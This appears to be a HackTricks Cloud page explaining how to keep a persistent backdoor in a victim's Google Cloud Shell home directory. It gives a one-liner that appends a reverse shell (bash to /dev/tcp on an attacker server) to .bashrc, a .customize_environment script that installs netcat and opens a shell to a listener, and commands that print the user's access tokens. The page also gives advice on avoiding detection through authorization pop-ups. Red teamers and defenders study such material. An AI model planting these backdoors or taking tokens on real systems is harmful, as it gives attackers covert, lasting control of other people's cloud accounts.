GCP - Cloud Shell Persistence

Reading time: 4 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Cloud Shell

For more information check:

GCP - Cloud Shell Enum

Persistent Backdoor

Google Cloud Shell provides you with command-line access to your cloud resources directly from your browser without any associated cost.

You can access Google's Cloud Shell from the web console or running gcloud cloud-shell ssh.

This console has some interesting capabilities for attackers:

Any Google user with access to Google Cloud has access to a fully authenticated Cloud Shell instance (Service Accounts can, even being Owners of the org).
Said instance will maintain its home directory for at least 120 days if no activity happens.
There is no capabilities for an organisation to monitor the activity of that instance.

This basically means that an attacker may put a backdoor in the home directory of the user and as long as the user connects to the GC Shell every 120days at least, the backdoor will survive and the attacker will get a shell every time it's run just by doing:

bash

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

There is another file in the home folder called .customize_environment that, if exists, is going to be executed everytime the user access the cloud shell (like in the previous technique). Just insert the previous backdoor or one like the following to maintain persistence as long as the user uses "frequently" the cloud shell:

bash

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

warning

It is important to note that the first time an action requiring authentication is performed, a pop-up authorization window appears in the user's browser. This window must be accepted before the command can run. If an unexpected pop-up appears, it could raise suspicion and potentially compromise the persistence method being used.

This is the pop-up from executing gcloud projects list from the cloud shell (as attacker) viewed in the browsers user session:

However, if the user has actively used the cloudshell, the pop-up won't appear and you can gather tokens of the user with:

bash

gcloud auth print-access-token
gcloud auth application-default print-access-token

How the SSH connection is stablished

Basically, these 3 API calls are used:

https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey [POST] (will make you add your public key you created locally)
https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start [POST] (will make you start the instance)
https://content-cloudshell.googleapis.com/v1/users/me/environments/default [GET] (will tell you the ip of the google cloud shell)

But you can find further information in https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

References

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.